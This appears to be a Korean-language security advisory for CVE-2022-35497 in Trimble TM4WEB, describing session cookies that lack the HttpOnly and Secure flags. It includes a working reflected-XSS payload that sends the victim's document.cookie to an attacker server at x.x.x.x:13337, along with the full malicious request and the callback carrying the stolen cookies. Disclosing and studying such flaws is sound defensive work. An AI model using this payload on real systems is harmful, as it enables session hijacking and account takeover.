
TM4WEB 취약점 - CVE-2022-35497
Trimble의 TM4WEB <=22.2.0에서 세션 식별자 보안 구성 오류로 인해, 반사형 크로스 사이트 스크립팅을 통해 유효한 세션 쿠키를 복구할 수 있으며, 이는 외부 문서 뷰어 엔드포인트에 영향을 미칩니다.
구체적으로, 세션 유지에 사용되는 세 가지 쿠키는 UID, rstring 및 PHPSESSIONID이며, 이들 중 어느 것도 JavaScript 실행 벡터로부터 복구를 방지하는 적절한 HttpOnly 플래그가 설정되어 있지 않습니다.
1단계 :
공격자는 반사형 크로스 사이트 스크립팅 취약점 CVE-2022-35499를 이용하여 인증된 피해자의 세션 쿠키를 획득합니다.
공격자는 HTTP 요청을 수신할 수 있는 인터넷 연결 서버의 임의 포트에서 리스너를 시작합니다. 이는 requestbin과 같은 서비스를 사용하거나, 단순히 임의 포트에서 netcat 리스너를 시작하여 수행할 수 있습니다.
예제 URL은 참조된 XSS CVE-2022-35499를 이용하여 인증된 사용자에 대한 세션 하이재킹 공격을 수행하고 피해자의 세션 쿠키를 공격자가 제어하는 서버
(예제에서는 IP 대신 x.x.x.x로 표시)의 포트 13337로 전송합니다.
존재하지 않는 사이트를 사용한 악성 URL 예시:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
이 취약점은 세션 식별자가 이러한 유형의 공격에 대해 적절히 보호되지 않았기 때문에 가능합니다.
세션 유지에 사용되는 세 가지 쿠키는 다음과 같습니다 :
UID
rstring
PHPSESSIONID
이 쿠키들 중 어느 것도 HttpOnly 플래그로 구성되지 않았습니다. 이 구성 옵션은 JavaScript 컨텍스트에서 쿠키 값에 접근하는 것을 방지합니다.
마찬가지로, 이 쿠키들은 암호화되지 않은 채널을 통해 전송되는 것을 방지하는 SECURE 플래그도 활성화되어야 합니다.
공격을 수행하는 데 사용된 악성 GET 요청은 아래와 같으며, 공격자 서버 IP는 생략되고 x.x.x.x로 대체되었습니다.
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
결과적으로 공격자가 자신의 서버에서 수신하는 콜백 요청은 아래와 같으며, ?c 매개변수에 피해자의 세션 쿠키가 추가되어 나타납니다.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
영향 : 인증된 사용자는 인증되지 않은 공격 위치에서 반사형 XSS 취약점을 이용하는 공격자에 의해 세션 및 사용자 계정이 하이재킹될 수 있습니다.